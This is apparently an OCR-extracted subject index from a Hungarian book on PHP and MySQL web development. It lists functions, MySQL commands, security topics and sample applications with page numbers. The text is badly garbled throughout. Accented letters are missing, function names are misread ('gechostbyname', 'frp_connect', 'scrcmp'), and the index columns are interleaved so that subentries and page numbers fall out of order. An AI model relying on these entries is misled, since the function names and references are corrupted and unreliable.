fiok_beallitas_megjelenitese() 464

imap_header() 471

postafiok_megnyirasa() 468

fiok_lista_lekerese() 466

imap_headers() 469,471

prev() 69

fiokok_lekerese() 463

implode() 79

print() 75

fiokok_szama() 466

ini_get() 364

printf() 76

fiok_torlese() 465

ini_set() 364

prototpusok 96

fiok_valaszto_megjelenitese() 466

inrval() 68

putenv() 306

fopen() 40,299

isset() 31, 103

rajzolfggvnyek paramcerei 334

frp_connect() 315

is_uploaded_file() 298

range() 56

FTP fggvnyek 313

join() 79

rekurzv fggvnyek 104

karakterlncok

rename() 304

fjlfeltlts 318
fjlok biztonsgi mentse 313

kis- s nagybet megklnbztetse 77

fjlok tkrzse 313

kpek 347

frp_get() 318

knyvtrak 298,374

reset() 69
rewinddir() 300
rmdir() 302
rsort() 63

frp_mdtm() 316

fjlok elrsi tvonala 301

frp_nlist() 318

FPDF 543

rrrim() 75

frp_size() 318

kimeneti_fuggvenyek.php 461

serialize() 362

idtllpsek megelzse 318

ltrehozsa 301

session_set_cookie_params() 350

643

644

Trgymutat

session_unregister() 352

CGI rtelmezknt 621

serrype() 30

modulknc 621

sha1() 269

sin() 562

explode() 312

futtathat eartalom (trolt adatok) 282

gechostbyaddr() 312

G,Gy

getmxrr() 311

show_source() 364
shuffie() 65

hlzati keresfggvnyek 310

gechostbyname() 311
parse_url() 312

sizeof() 70

gecARS() fggvny 578, 592

sore() 62

get_currenc_user() fggvny 363

sprincf() 76

getenv() fggvny 306

konfigurlsa 383
TCP/IP biztonsg 233
hardver

stac() 304

get_excension_funcs() fggvny 363

hiba (zleti weboldalakJ 228

strcasecmp() 80

gechoscbyaddr() fggvny 312

tolvajok 248

scrchr() 82

gechostbyname() fggvny 311

hromdimenzis tmbk 61

scrcmp() 80

gedastmod() fggvny 363

hromoperandus mveleti jel 27

stripslashes() 78, 184, 199, 282

get_loaded_extensions() fggvny 363

hash() fggvny 240

strip_cags() 282

get_magic_quotes_gpc() fggvny 184

striscr() 82

getmxrr() fggvny 311

strlen() 81

getSzerverldo() fggvny 604

strnatcmp() 80

geccype() fggvny 30

globlis hatkr 101

strpos() 82

GIF (Graphics Inteechange Format) 332

vltozk 22

mkdse PHP 5.3-ban 5


hatkr
fggvny hatkr 101

scrrchr() 82

globlis hatkr 101

str_replace() 83, 550

globlis jogosultsgok 152

Header() fggvny 335

strrpos() 82

globlis vltozk 101

HEAP tblk 209

strscr() 82

Gnu Privacy Guard (GPG) 283

helyi vltozk 101

scrtok() fggvny 79

kulcsprok 284

strtolower() 77

teleptse 283

strcoupper() 77

tesztelse 285

subscr() 80

weboldal 283

vltozk hatkre 100

helyrellts
adatbzisok 206
hibk
401-es tpus hibk (HTTP) 273

system() 305

gomb_lettehozasa.php fjl 337

beviteli adatok ellenrzse 384

trolt

gombok

fjlok olvassa/rsa 382

deklarlsa 213

gomb_lettehozasa.php kd 337

futsidej 380

tbbszrs definils 99

sznei 338

hlzati kapcsolatok 383

couch() 304

szveg

trim() 75, 184


uasort() 64

hibajelentsi szintek 387

sznek/bettpusok 336
szveg illesztse gombokra 339

hibakezel mveleti jel 27


kapcsolds adatbzishoz 382

ucfirst() 77

gomb_tervezese.html fjl 336

kezelse 138

ucwords() 77

GPG (Gnu Privacy Guard) 283

logika 384

uksort() 64

kulcsprok 284

nem ltez fggvnyek 381

umask() 302

teleptse 283

PHP 5.3 5

unlink() 304

tesztelse 285

programozs 379

unserialize() 362

weboldal 283

urlencode() 270, 310

grafikonok

usort() 63

adatok 342

uzenet_kuldese() 474

oktatanyagok 348

futsidej hibk 380


logika hibk 384
szintaktikai hibk 379
szintaktika 379

uzenet_megjelenitese() 470

GRANT jogosultsg 198

szoftver 228, 235

uzenet_corlese() 473

GRANT parancs 151

szoftver

uzenet_visszakeresese() 470

grant tblk 194

fejlesztk hibs felttelezsei 235

vltozk 30

GRANT utastsok 200, 201

nem megfelel tesztels 235

llapotnak ellenrzse 31

Graphics Inceechange Forrnat (GIF) 332

hatkr 101

GROUP BY mellkg 174

tpusbelltsi -ellenrzs 30

gyermek csompontok ( webes frum

visszakvets 133
visszatrs fggvnyekbl 103

fastruktrja) 518
gykr csompontok ( webes frum

futsidej hibk 380

fastruktrja) 518

beviteli adatok ellenrzse 384

gykrelemek (XML) 566

fjlok olvassa/rsa 382

gyorsttrazs

hlzati kapcsolatok 383

Amazon 568

kapcsolds adatbzishoz 382


nem ltez fggvnyek 381
futtats

pontarlan specifikcik 235


zenetek 97
hibakeress
fjlfeltltsek 298
fjlok megnyitsa 43
hibk. Lsd mg hibk 43
vltozkban 385
highlight_file() fggvny 364
hrlevelek 477
adatbzisok

konfigurlsa 480
bejelentkezs 490

Apache 626

hackerek 248

csatolt llomnyok 478

direktvk 38

halad OOP funkcik 124

elnzere 510

PHP

hlzatok

fjlfeltlts 478

Trgymutat

feleltse 504, 509

hcml_fejlec_letrehozasa() fuggvny 466

folyamarbrk 478

HTML (Hypertext Markup Language)

339
ImageCreate() fuggvny 334

kd architektrja 482

entity 252

ImageDestroy() fuggvny 335

megolds ttekintse 478

formzs (karakterlncok) 75

ImageFilledRectangle() fuggvny 346, 347

hcmlentities() fuggvny 252

ImageGetTTFBBox() fuggvny 340

hitelests. Lsd mg biztonsg 232, 237,

htmlspecialchars() fuggvny 184, 252,

259

282

alapszint hitelests (HTTP) 270


Apache .htaccess fjlokkal 272

ImageJPEG() fuggvny 335


ImageLine() fuggvny 346

PHP begyazsa 13

ImageMagick knyvtr 331

cmkk (tag) 14

ImagePNG() fuggvny 339


ImageRectangle() fuggvny 347

PHP-ben 271
egyni hitelests ltrehozsa 276

fehrkz karakterek 15

felhasznJk azonostsa 265

megjegyzsek 15

imagestring() fuggvny 334

hozzfrs-szablyozs

utastsok 15

ImageTTFBBox() fuggvny 340

rlapok

jelszavak trolsa 267

ImageTTFText() fuggvny 340

jelszavak titkostsa 269

fjlfeltlts 293

imap_body() fuggvny 471

megvalstsa 266

feldolgozsa 12, 13

imap_delece() fuggvny 473

megrendel rlapok ltrehozsa 12

imap_expunge() fuggvny 473

tbb oldal vdelme 270

HTML rlapok

jelszavak 237
kivonatos hitelests (HTTP) 271
mod_auth_mysql modul 275

feldolgozsa 12, 13
htpasswd program (Apache webszerver)
274

dokumentci weboldala 276


telepts 275

httpd.conf 626

tesztelse 275

HTTP (Hypertext Transfer Protocol) 280


alapszint hitelests 270

weboldalak 276
hitelesitert_felhasznalo_ellenorzese()
fuggvny 461

imap_headers() fuggvny 469, 471


IMAP (Internet Message Access Protocol)
308
fuggvnyknyvtr 451
kliens weboldala 622

401-es tpus hibk 273

implode() fuggvny 79

Apache .htaccess fjlokkal 272

importls

PHP-ben 271

hitelkrtyaadatok trolsa 283

imap_fetchheader() fuggvny 471


imap_header() fuggvny 471

nyilvnos kulcsok (Gnu Privacy Guard)

hivatkozsknt trtn paramtertads 70

kzfogs (handshaking) 280

hivatkozs mveleti jel 25

kivonatos hitelests 271

indude() utasts 90

hivatkozsok

Secure Sockets Layer (SSL) 280

indexek
adatbzis-optimalizls 205

Add to Care 570


Checkout 570

I,

Details 570
webes frum fasttuktrja 518
hossz stlus rlapvltoz 17

lekrdezsek 205
tmbk 205

idegen kulcsok
adatbzisok 143
IDE (Integrated Development

host tbla 194


HotScripts.com weboldal

285

Environment) 375

634

index.htm! fjl (oklevelek projekt) 544


INDEX jogosultsg 153
index.php fjl
MLM alkalmazs 480

hozzaadKJValasz()fuggvny 612

idezojel_hozzaadasa() fuggvny 535

online kosr alkalmazs 422

hozzfrs

id s dtum

Tahuayo alkalmazs 571

bizalmas adatokhoz val hozzfrs


korltozsa 246
mdostk 112

MySQL-ben
szmolsok 328
PHP-ben 5, 321

Warm Mai! alkalmazs 453


webes frum 519
ini_get() fuggvny 364

MySQL 149

date() fuggvny 321

ini_set() fuggvny 364

numerikusan indexelt tmb tartalmhoz

mikroszekundumok 329

InnoDB tblk 210

56
.php fjlokhoz val hozzfrs korltozsa
254

naptrfuggvnyek 329
szmolsok 327
vlts PHP s MySQL formturnak
kztr 326

szablyozs (hitelests)

kls kulcsok 211


tranzakcik 210
INSERT jogosultsg 153
INSERT lekrdezsek 187

jelszavak 267

idtllpsek megelzse 318

INSERT utasts 165

megvalstsa 266

if utastsok 32

instanceof tpusmveleti jel 28

tbb oldal vdelme 270

illeszts

integer adartpusok

trsrsos tmb tartalmhoz 57


hozzfrs korltozsa
bizalmas adatok 246
.php fjlokhoz 254
hozzaszolas_cimenek_lekerese() fuggvny
534
hozzaszolas_lekerese() fuggvny 531

regulris kifejezsek 83
karakterkszletek 84
karakterosztlyok 84
rszsztringek
keress s csere 83
illeszrsek
PHP adatbzis-illeszrsek 190

hozzaszolas_megjelenitese() fuggvny 532

ImageColorAllocate() fuggvny 334

hozzaszolas_megrekintese.php fjl ( webes

ImageCreateFromGIF() fuggvny 334, 339

frum) 519
hozzszlk (webes frum) 519
htaccess fjlok (Apache webszerver) 272

vltozk 20
Integrated Development Environment

ImageCreateFromJPEG() fuggvny 334,


339
ImageCreateFromPNG() fuggvny 334,

(IDE) 375
intelligens zenerkld rlap
ltrehozsa 73
Internet
biztonsgos tranzakcik 278
Internet Message Access Protocol (IMAP)
308
Internet Protocol (IP) 280
inti kiterjeszts 5
IP (Internet Protocol) 280

645

646

Trgymutat

rs

hlzari kapcsolatok

fjlok 40,282
futsidej hibk 382
kezelhec kd 371
darabokra bonts 373

futsidej hibk 383


tvoli FTP szerverek 315
webes adatbzisok 184
kapcsolatok (adatbzisok) 143

keresse 82
szmszer pozcijnak megkeresse 82
rtrim() fggvny 75
sprintf{) fggvny 76
trolsa 78

elnevezsi szoksok 371

egy a sokhoz tpus kapcsolatok 143

token 79

fggvnyknyvtrak 374

egy az egyhez tipus kapcsolatok 143

trim() fggvny 75

knyvtrstruktrk 373
megjegyzsek hasznlata 372
programozsi szablyok 371
tagolsa 373
osztlyok kdjnak megrsa 117

sok a sokhoz tipus kapcsolatok 143


kapcsolds
adatbzis szerverekhez 260
kapcsolk

karakterlncok felosztsa
strtok{) fggvny 79
katasztrfaelhrts 247
tervezse 263

-h kapcsol (mysql parancs) 150

issec{) fggvny 31,103

-p kapcsol mysql parancs) 150

is_uploaded_lile{) fggvny 298

-u kapcsol (mysql parancs) 150

kategoria_beszurasa.php fjlok (online kosr


alkalmazs) 422
kategoria_beszurasa_urlap.php fjlok
(online kosr alkalmazs) 422

karakterek

kszletek 84

kategoriak_lekerese{) fggvny 427

kitlt 76

kategoria_megjelenitese.php fjlok (online

jelszavak 237,245,392

osztlyok 84

adatbzisok
biztonsg 198
elrse 259

vdkarakterek hasznlata 78

kosr alkalmazs) 422


kategoria_szerkeszcese.php fjl (online kosr

karakterlncok 19,75
adattipus (vltozk) 20

bejelentkezs MySQL-be 150

biztonsg 252

MySQL 283

egyestse

alkalmazs) 422
kategoria_szerkesztese_urlap.php fjl
(online kosr alkalmazs) 422
kpek

trolsa 198,267

implode{) fggvny 79

automatikus elllitsa 336

titkostsa 198,269

join() fggvny 79

azonosrk

jelszo_valcozcacas.php fjl (online kosr


alkalmazs) 422
jelszo_valtozcacas.php fjl (PHPBookmark
alkalmazs) 393
jelszo_valcozcacas_urlap.php fjl (online
kosr alkalmazs) 422
jelszo_valcozcacas_urlap.php fjl
(PHPBookmark alkalmazs) 393
jogosultsgok
adatbzis-optimalizls 205
fjlok rsa 282
FILE 198

rtkelse 361
felosztsa
explode{) fggvny 79

trlse 335
formturnak 332
GIF (Graphics Incerchange Format)
332

strtok{) fggvny 79
substr{) fggvny 80

JPEG (Joint Photographic Expetts


Group) 332

formzsa 75
hossznak megllaptsa 81

PNG (Portable Necwork Graphics)


332

HTML formzs 75
kis- s nagybets rsmd megvltoztatsa
77
kis- s nagybets rsmdok fggvnyei
77

WBMP (Wireless Bitmap) 332


kimenet ksztse 335
ltrehozsa 333
bettipusok 336
szveggel 336

frisstse 197

konverzis specifikcik 76

GRANT 198

lcrim() fggvny 75

rajzvszon ltrehozsa 333

jogosulcsg rendszer 193

megjelencse 75

sorok kztr

columns_priv tbla 197

print{) fggvny 76

jogosultsgok frisstse 197

printf{) fggvny 76

sznek,RGB (vrs,zld s kk) 334

sprintf{) fggvny 76

szveg

slave szerverek 207


MySQL 151

mveleri jelek 23

globlis jogosultsgok 152

nl2br{) fggvny 75

GRANT parancs 151

sszefz mveleti jel 19

legkisebb jogosultsg elve 151

sszehasontsa 80

tipusai 152
user tbla 194

karakterlncok hossznak megllapts


81
scrcasecmp() fggvny 80

jpeg-6b
leeltse 331
JPEG (Joint Photographic Expercs Group)
332, 622
Julin-napcr 329

K
kapcsolat bontsa
webes adatbzisok 187
kapcsolatok
boncsa
FTP szerverek 318

strcmp{) fggvny 80
scmaccmp() fggvny 80

dinamikusan elllitotr 336

rajzolsa/rsa 334
szveg illesztse gombokra 339
tmogatsa PHP-ban 331
krsek
MySQL adatbzis 197
keress s csere
rszsztringek 83
keresfggvnyek
explode{) 312

oszloptipusok 162

hlzatok 310

print{) fggvny 76

hlzatok

printf{) fggvny 76

gethostbyaddr{) 312

rendezse

gethostbynarne() 311

strcasecmp{) fggvny 80

getrnxrr{) 311

strcmp() fggvny 80

parse_url{) 312

scrnaccmp() fggvny 80
rszszcringek

keresztsszekapcsols 172
ksi statikus ktsek 125

cserje 83

ktdimenzis tmbk 59

elrse substr{) fggvnnyel 80

kezels

Trgymutat

Bob autalkatrszek alkalmazs 135


Exception osztly 132
felhasznl ltal meghatrozott kivrelek
133

hibk 138
kivrelek 131
kivrelek kivltsa 131
oktatanyagok 138
osztlyok ltrehozsa 133
try blokkok 131
kezelk
continue 215
declare 215
exit 215
kzfogs (handshaking) 280
kifejezsek
keresse 87
regulris 83
karakterkszletek 84
Perl 83
kijelentkezs
Warm Mai! alkalmazs (e-mail kliens)
462

lcijelentkezes.php fjl
online kosr alkalmazs 422
PHPBookmark alkalmazs 393
kijelentkezes.php kd (hitelests) 358
kimenet rtkeinek szrse
vdkarakterekkel 252
kimeneti_fuggvenyek.php fjl
kimeneti_fuggvenyek.php
fggvnyknyvtr 461
MLM alkalmazs 480
PHPBookmark alkalmazs 393
Warm Mai! alkalmazs 453
webes frum 519
kimenet ksztse
kpek 335
kis- s nagybet megklnbztetse
fggvnyek meghivsa 97
karakterlncok 77
MySQL utasrsok 150
kirerjeszts
Exception osztly 133
kiterjesztsek
require() utasts 91
kirerjesztett sznraktika 174
kirlt karakterek 76
kivlaszts
webes adarbzisok 185
kivlts
kivtelek 131
kivtelek 131, 389
Bob autalkatrszek alkalmazs 135
Exception osztly 132
fjlkezels 135
felhasznl ltal meghatrozott kivrelek
133

kivltsa 131
oktatanyagok 138
osztlyok 133
try blokkok 131

Icivons mveleti jel 23


kivonatos hitelests (HTTP) 271
kj_hozzaadasa() fggvny 412, 616
kj_hozzaadasa.php fjl ( PHPBookmark
alkalmazs) 393
kj_hozzaadasa_urlap.php fjl
(PHPBookmark alkalmazs) 393
kj_rorlese() fggvny 415
kj_torlese.php fjl
PHPBookmark alkalmazs 393
klnozs
objektumok 126
kd
blokkok 32
darabokra bontsa 373
elnevezs szoksok 371
futtatsi direktva 38
mkdsi logika 376
online kosr alkalmazs 421
optimalizlsa 376
prototpusok 375
szervezse 253
tagolsa 32
tartalom 376
tesztelse 377
tbbszri felhasznlsa 370
verzikvers 374
CVS (Concurrent Versions System)
374

trol 374
tbb programoz 37 4
kd kezelhetsge 371
darabokra bonts 373
elnevezs szoksok 371
fggvnyknyvtrak 374
knyvtrsrruktrk 373
megjegyzsek hasznlara 372
programozsi szablyok 371
tagols 373
kdok
elfordtott urasrsok 189
eredmenyek.php 182
gomb_lerrehozasa.php 337
kpek rajzolsa 333
Iciugrs -bl 37
konyv_beszurasa.php 188,446
mysqlhotcopy
adatbzis biztonsgi mentse 206
PHP
MySQL-jelszavak 283
tulajdonos azonosrsa 363
utols mdosts idpontja 363
vgrehajtsa 365
vgrehajts lelltsa 361
webes adarbzisok lekrdezse 184
adarbzisok kivlasztsa 185
adatok hozzadsa 187
beviteli adatok 184
elfordtott urasrsok 189
eredmnyek visszakeresse 186
kapcsolat bellitsa 185
kapcsolat bontsa adatbzisokkal 187

mysqli_query() fggvny 185


kltsgcskkenrs (zleti weboldalakJ 227
konfigurls
DMZ 261
PHP 624
webszerverek
Apache HTTP Server 258
Microsofr IlS 258
konstruktorok 109
konverzi
formtumszering 76
tpuskdjai 77
konyv_beszurasa.php fjl (online kosr
alkalmazs) 422
konyv_beszurasa.php kd 188
elfordtott urasrsok 189
konyv_beszurasa_urlap.php fjl (online
kosr alkalmazs) 422
konyvjelzo_fns.php fjl (PHPBookmark
alkalmazs) 393
knyvjelzk
ajnlsa 392
konyvjelzo.gif fjl (PHPBookmark
alkalmazs) 393
rrlse 414
konyvjelzok.sql fjl (PHPBookmark
alkalmazs) 393
konyv_megjelenitese.php fjl (online kosr
alkalmazs) 422
knyvrrak
fjlok
rsi jogosultsgok 282
fggvnyek 298
fjlok elrsi rvonala 301
knyvrrak ltrehozsa 301
knyvrrak rrlse 301
olvass knyvrrakbl 298
struktrk 373
tallzsa 298
knyvtrak. Lsd mg fggvnyek,
knyvrrak
FreeType letltse 332
fggvny 374, 393
ImageMagick 331
mysqli elfordrott utastsok 189
PECL (PHP Extension osztlyknyvrrJ
331

PHP 622
adatbzis-illeszrsek 190
SOAP knyvtrak (Amazon) 568
SOAP 567
konyvtar_tallozas.php fjl 298
koordintk
befogW keretek 340
krnyezetek
fejlesztkrnyezet 375
krnyezeti vltozk
PHP fggvnyek 306
kosr
fejlesztse (Amazon) 567
kosar_megjelenicese() fggvny 434
kosar_megjelenirese.php fjl (online kosr

647

648

Trgymurat

alkalmazs) 422
krsek
ksi statikus ktsek 125
kzepes stlus rlapvltoz 17
kulcsok

lista_megjelenitese() fliggvny 467

Exception osztly 132

lista_tarolasa() fliggvny 503

fetchRow() 192

list() fliggvny 58

statikus 124

literlok 19

tbbszrs definilsa 126

LOAD_DATA_INFILE utasts 209

adatbzisok
elsdleges kulcsok 142
idegen kulcsok 143

LOCK TABLES parancs 206


logika

mezk
tblk 142
Microsofi:

hibk 384

IlS konfigurlsa 258

kulcsprok teleptse 284

logikai mveleti jelek 26

nyilvnos kulcsok 284

!stat() fliggvny 304

microtime() fliggvny 329

privt kulcsok 284

ltrim() fliggvny 75

MIME levelezcsomag

mlm_fuggvenyek.php fjl (MLM

magic_quotes_gpc direktva 282

MLM (levelezlista-kezel) 477

tmbk 56
kulcsszavak
ASC 173
DESC 173
rerurn 103

Word, RTF 541

teleptse 631
alkaimazs) 480

magic_quotes_runtime direktva 282

fjlok 480

Maii Exchange (MX) rekordok 312

fejlesztse 477

e-mail 307

mail() fliggvny 74, 308, 410

online hrlevelek 477

hrlevelek 511, 514

maradkkpzs

Ields

kuldes() fliggvny 511


kls kulcsok
InnoDB tblk 211
kurzorok (trolt eljrsok) 214

MaxClients paramter (Apache) 185


max_connections paramter 185
max() fliggvny 103
mdS() fliggvny 269

L
lthatsg szablyozsa 113
rklds 113
legkisebb jogosulrsg elve 151
leiratkozas() fliggvny 499
lekrdezsek

megolds ttekintse 478


md
autocommit 210
mod_auth modul (Apache webszerver) 273

megakadlyozs

mod_auth_mysql modul 275

fellrs 115
rklds 115
meghvs

mod_auth_mysql modul
dokumentci weboldala 276
teleptse 275

fliggvnyek 16, 96
kis- s nagybet megklnbztetse 97

adatbzisok kivlasztsa 185

nem ltez fliggvnyek 97


paramterek 96

beviteli adatok 184

prototpusok 96
osztlymetdusok 112

eredmnyek visszakeresse 186

megjegyzsek 15, 372

EXPLAIN utasts 201

megnyits

indexek 205

fjlfeltlts 478
folyamarbrk 478

md5() mkdse PHP 5.3-ban 5

adatok hozzadsa 187


elfordtott utastsok 189

csatolt llomnyok 478

mveleti jel 23

fjlok 40

tesztelse 275
mdosts
anomlik elkerlse (webes adatbzisok)
145
utols mdosts idpontja (kdok) 363
mdostsi anomlik elkerlse (webes
adatbzisok) 145
modulok
kd 421

INSERT 187

cmkk (XML) 565

mod_auth (Apache webszerver) 273

kapcsolat bontsa adatbzisokkal 187

fopen() fliggvny 41

mod_auth_mysql 275

kapcsolat ltrehozsa 184

megnyitsi mdok 40

mysqli_query() fliggvny 185


sebessge 205
webes adatbzisok 184
letagadis 235
letlts

megnyitsi mdok
fjlok 40
megosztott szolgltatsmegragadssal jr
tmads (D DoS) 234, 262
megvalsts

fjlok letltse F T P szerverekrl 317

ajnls 416

FreeType knyvtr 332

rklds 113

jpeg-6b 331

mellkgak

telepts 275
tesztelse 275
PHP futtatsa 621
monitorok
MySQL 150
mkdsi logika 376
elvlasztsa a tartalomtl 376
munkamenetek (session)
megszntetse 351

PostScript Type l bettpusok 332

GROUP BY 174

online kosr alkaimazs 419

tllib 332

HAVING 174

vltozk 349

ltrehozs
Book-O-Rama alkalmazs 165
numerikusan indexelt tmbk 56
asszociatv tmbk 57
levl csompontok (webes frum
fastruktrja) 518
levelezo_fuggvenyek.php fjl (Warm Mail
alkalmazs) 453
levelezo_fuggvenyek.php fliggvnyknyvtr
fiokok_lekerese() fliggvny 463
LIKE kulcssz 169

throw 133
WHERE 168
sszehasonlt mveleti jelek 168

trlse 351
mveleti jelek 22
aritmetikai mveleti jelek 23

MEMORY tblk 209

birmveleti jelek 26

MERGE tblk 209

csoportosthatsg 29

metdusok

egyoperandus mveleti jelek 23

fellrsa 115

elsbbsgi sorrend 29

ltrehozsa 109

rtkad (

metdusok. Lsd mg lliggvnyek

18, 20

cskkents mveleti jelek 24

bind_param() 190

rtkek visszaadsa 24

_call() 126

hivatkozs mveleti jel 25

Trgymutat

nvels mveleci jelek 24

utastsok 150

sszetett rtkad mveleti jelek 24

webes forrsok 634

hromoperandus mveleti jel 27

weboldal 149

hibakezel mveleti jel 27

mysql_dump parancs 206

karakterlncok

mysqlhotcopy kd 206

vals vilgbeli objektumok modellezse


(webes adatbzisok) 144
ODBC (Open Database Connecciviry)
fggvnyek 190
oklevelek projekt

mveleci jelek 23

mysqli_connect() fggvny 185, 382

sszefz mveleti jel 19

mysqli_errno() fggvny 382

ertekeles.php fjl 546

mysqli_error() fggvny 382

fjlok 544

logikai mveleti jelek 26

perszonalizlt dokumentumok 544

new mveleti jel 27

mysqli_fetch_assoc() fggvny 186

index.html fjl 545

sszehasonlt mveleci jelek 25

mysqli_query() fggvny 185, 382

PDF 550

egyenl mveleti jel 25


sszehasonlt mveleti jelek

mysql parancs 150


mysql_select_db() fggvny 185

grankonok 348

W HERE mellkgak 168


tpusmveleci jel 28
tmb 28

RTF 548
oktatanyagok
kivtelkezels 138

N,Ny

olvass

tmbk 59

nem azonos mveleci jel 59

fjlok 40, 302

vgsszeg kiszmtsa az rlapon 28

nem egyenl mveleci jel 59

futsidej hibk 382

vgrehajt 27

nem_feliratkozott_listak_lekerese()
fggvny 495

vessz mveleti jel 27

knyvrrakbl 298
online hrlevelek 477

MX (Mai! Exchar)ge) rekordok 312

nem ltez fggvnyek hvsa 97

csatolt Uomnyok 478

myisamchk segdalkalmazs 204

nemzetkziests (alkalmazsok) 5

fjlfeltlts 478

MyiSAM tbla 209

Netcraft: 259

folyamarbrk 478

MySQL

Netscape weboldal

megolds ttekintse 478

adatbzis 193,196
biztonsgi mentse 242
db tbla 195

SSL 3.0 specifikci 289


stik (cookie-k) specifikcija 350
Network News Transfer Protocol (NNTP)
308

eredmenyek.php kd 182
host tbla 196

nvrelen bejelentkezs (FTP) 315

kapcsolat ellenrzse 197

nvrerek 105

krs ellenrzse 197


ltrehozsa 151

PHP 5.3 5
XML 566

tables_priv tbla 196

new mveleti jel 27

user tbla 194

New York Times weboldal 265

webes adatbzis architektrja 181

nl2br() fggvny 75

azonosrk 160

NNTP (Nerwork News Transfer Protocol)


308

bejelentkezs 150
felhasznJk
bellitsa 151

online katalgusok (zleti weboldalakJ 221


hibi 222
gyenge minsg megjelens 222
informci hinya 222
ltogatottsg mrse 223
megkeressek megvlaszolsa 222
tartalom frisstse 223
jellemz hinyossgaik 223
online kosr alkalmazs
a felhasznl vsrlsnak nyomon
kversnek 419
a megolds ttekintse 420
fjlok 422

NOT NULL kulcssz 157

fizetsi rendszerek 420

nvels mveleci jelek 24

kdmodulok 421

folytats jel 150

NULL adattpus (vltozk) 20

futsidej hibk 382

numerikusan indexelt tmbk

munkamenet-vltozk 419
OOP (objektumorientlt programozs)

GRANT parancs 151

elrse ciklusokkal 57

objektumok 107

hozzfrs 149

ltrehozsa 56

osztlyok 107

jelszavak 283
jogosultsgok 151
globlis jogosultsgok 152
GRANT parancs 151

tartalmnak elrse 56
numerikus oszloptpusok
dtum s id 162

fggvnyek 190
opendir() fggvny 299

nyelvek

legkisebb jogosultsg elve 151

DDL (Data Definition Language) 165

tpusai 152

DML (Data Manipulaeion Language)

OpenSSL
konfigurlsa 624

165

weboldala 622

nyelvi szerkezetek

opercis rendszerek

max_connections paramter 185


mod_auth_mysql modul 275

tbbalaksg 108
Open Database Connectiviry (ODBC)

dokumentci weboldala 276

array() 56

telepts 275

die() 361

tesztelse 275

exit 361

mysql parancs 150

nyilvnos kulcsok

felesleges alkalmazsok kikapcsolsa 262


frisstse 262
optimalizls
adatbzisok 205

onlne kziknyv 164

Gnu Privacy Guard (GPG) 284

alaprtelmezett rtkek hasznlata 205

pontosvessz (;) 150

titkosts 239

indexek hasznlata 205


jogosultsgok 205

szintakrika 174
teleptse
binris fjlok 622

O,

forrs teleptse 622

object adattpus (vltozk) 20

Windows 628

objektumok 107

Windows, PATH bellitsa 628

klnozsa 126

tblk 205
tervezse 205
kd 376
Zend Optimizer 377
ORDER BY mellkg 173

649

650

Trgymutat

rklds 108

mysql_dump 206

require() utasts 91

megakadlyozsa 115

REVOKE 154

rvid stlus 14

megvalstsa 113

SHOW 159

tbbszrs rklds 116

traceroute (UNIX) 233

sszeads ( +) mveleti jel 23


sszehasonlts
karakterlncok 80

SCRIPT stlus 14

webszerver fggvnyek 304

Classes Reposicory weboldal 634


Club weboldala 634

parancssor 365

date() fggvny 16

parancssori utasts-vgrehajt 255

dtum s id 321

hossznak megllaptsa 81

pacse_url() fggvny 312

checkdate() fggvny 324

scrcasecmp() fggvny 80

parseXML() metdus 586

date() fggvny 321

strcmp() fggvny 80

PATH belltsok

fioor() fggvny 327

stmatcmp() fggvny 80
sszehasonlt mveleti jelek 25
egyenl mveleti jel 25

MySQL teleptsek 628

napcrfggvnyek 329

pdf_add_outline() fggvny 555

PHP weboldal 329

sszehasonlt mveleti jelek

pdf_close() fggvny 556

WHERE mellkgak 168

pdf_csere() fggvny 551

sszetett rtkad mveleci jelek 24


oszlopok 157
rtkek 142
atomi oszloprtkek 145
kulcsok 142
elsdleges kulcsok 142

absztrakt (elvont) 126

weboldala 634

oklevelek projekt 544

Developer weboldala 634

pdf.php fjl (oklevelek projekt) 544

fejlesztkrnyezetek 375

pdf_show_xy() fggvny 561

forrskd sznkiemelse

pdf_stringwidth() fggvny 561


PEAR (PHP Extension and Application
Repository)
PECL (PHP Extension osztly knyvtr)
331

(\)

eval() fggvny 361


get_current_user() fggvny 363
get_extension_funcs() 363

penztar.php fjl (onlne kosr alkalmazs)

csomapont osztly 518

szintaktika 364
fggvnyek
fggvnynevek a kdban 372

teleptse 631

talakts karakterlncokk 129


attribtumok 110

szmolsok 327
Developer's Network Unilied Forums

pdHib.php fjl

idegen kulcsok 14 3
osztlyok 117, 118

miktoszekundumok 329

PCRE kicerjeszts 5

422

gedascrnod() fggvny 363


get_loaded_extensions() fggvny 363

CSS 601

perjel

Exception 132

perszanalizls

ini__gec() fggvny 364

formturnak

ini_sec() fggvny 364

kiterjesztse 133
mecdusok 132

209

highlighc_file() 364

PDF 542

mysqli_connecc() fggvny 382

karakter (regulris kifejezsek) 84

PostScript 541

mysqli_errno() fggvny 382

kivtelek

RTF 541

mysqli_error() fggvny 382

kvetelmnyek

mysqli_query() fggvny 382

ltrehozsa 133
kdjnak megrsa 117

szottver 542

serialize() fggvny 362

ltrehozsa l09

vizsgztatrendszer 542

show _source() fggvnyek 364

metdusok meghvsa 112

oklevelek projekt 544

rklds 108

ertekeles.php fjl 546

unserialize() fggvny 362


vltozk 30

pldnyok ltrehozsa 110

fjlok 544

fggvnyek meghvsa 16

tervezse 117

index.hcml file 545

futtatsa

tpusjelzs 125

PDF 550

tbbalaksg 108

RTF 548

osztlyon belli kanscansok 124

CGI rtelmezknt 621


modulknt 621

tovbbfejlesztsi lehetsgek 562

halad 00 funkcik 124

osztlypldnyok ltrehozsa 110

PGP (Pretty Good Privacy) 283

hlzati keresfggvnyek 310

oszts mveleti jel 23

phar kiterjeszts 5

hlzati keresfggvnyek

Philip and Alex's Guide to Web Publishing


weboldal

635

Phorum webes frum 538

patarnterek 16, 17

PHP

explode() 312
gethostbyaddr() 312
gethostbyname() 311
getmxrr() 311
parse_url() 312

Apache, MaxClients 185

adacbzis-illesztsek 190

excract() fggvny 70

llandk (konscansok) 21

fggvnyparamterek 99

alapszint hitelests (HTTP) 271

jpeg-6b letltse 331

Application Tools weboldala 634

karakterlncok rtkelse 361

rtk szerinti paramtertads 102

Base Library weboldala 634

kpek

fggvnyek meghvsa 96

begyazsa HTML-be 13

cm szerinti paramtertads 102

Homepage weboldala 634

automatikus ellltsa 336

max_connections paramter 185

cmkk (tag) 14

azonosrk crlse 335

rajzolfggvnyek 334

fehrkz karakterek 15

formturnak 332

startup 628

megjegyzsek hasznlata 15

GIF (Graphics Inteechange Format)

parancsok

utastsok 15

GRANT 151

Center weboldala 634

LOCK TABLES 206

cmkk (tag) 14

mysql 150

ASP stlus 15

332
JPEG (Joint Photographic Expercs
Group) 332
kimenet ksztse 335

Trgymutat

ltrehozsa 333

SPL kiterjeszts 5

PNG (Portable Network Graphics)

